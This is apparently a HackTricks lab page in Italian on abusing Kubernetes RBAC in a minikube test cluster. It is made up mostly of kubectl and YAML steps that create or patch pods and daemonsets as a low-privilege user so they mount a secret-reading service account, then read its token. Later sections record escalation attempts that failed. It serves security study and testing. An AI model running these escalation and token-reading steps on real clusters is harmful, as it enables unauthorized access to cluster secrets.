Kubernetes Roles Abuse Lab

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Puoi eseguire questi laboratori all'interno di minikube.

Creazione di Pod -> Escalare a ns SAs

Stiamo per creare:

• Un Account di servizio "test-sa" con un privilegio di cluster per leggere segreti

• Verrà creato un ClusterRole "test-cr" e un ClusterRoleBinding "test-crb"

• Saranno dati permessi per elencare e creare pod a un utente chiamato "Test"

• Verrà creato un Ruolo "test-r" e un RoleBinding "test-rb"

• Poi confermeremo che l'AS può elencare i segreti e che l'utente Test può elencare i pod

• Infine impersoneremo l'utente Test per creare un pod che include l'SA test-sa e rubare il token dell'account di servizio.

• Questo è il modo per mostrare come l'utente potrebbe scalare i privilegi in questo modo

Per creare lo scenario viene utilizzato un account amministrativo. Inoltre, per esfiltrare il token sa in questo esempio viene utilizzato l account amministrativo per eseguire all'interno del pod creato. Tuttavia, come spiegato qui, la dichiarazione del pod potrebbe contenere l'esfiltrazione del token, quindi il privilegio "exec" non è necessario per esfiltrare il token, il permesso "create" è sufficiente.

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Creare Daemonset

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

In questo caso stiamo per applicare una patch a un daemonset per far sì che il suo pod carichi il nostro service account desiderato.

Se il tuo utente ha il verbo update invece di patch, ciò non funzionerà.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Non funziona

Creare/Modificare Associazioni

Non funziona:

• Creare una nuova RoleBinding solo con il verbo create

• Creare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di binding)

• Non puoi fare questo per assegnare il ruolo a te stesso o a un diverso SA

• Modificare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di binding)

• Non puoi fare questo per assegnare il ruolo a te stesso o a un diverso SA

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Associazioni esplicite di associazioni

Nella sezione "Prevenzione dell'elevazione dei privilegi e avvio" di https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ si menziona che se un SA può creare un'Associazione e ha esplicitamente i permessi di Associazione sul Ruolo/ClusterRole, può creare associazioni anche utilizzando Ruoli/ClusterRoles con permessi che non possiede. Tuttavia, non ha funzionato per me:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa

# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Creazione di ruoli arbitrari

In questo esempio cerchiamo di creare un ruolo con le autorizzazioni create e path sulle risorse dei ruoli. Tuttavia, K8s ci impedisce di creare un ruolo con più autorizzazioni di quelle possedute dal principale che lo crea:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

Impara e pratica l'hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.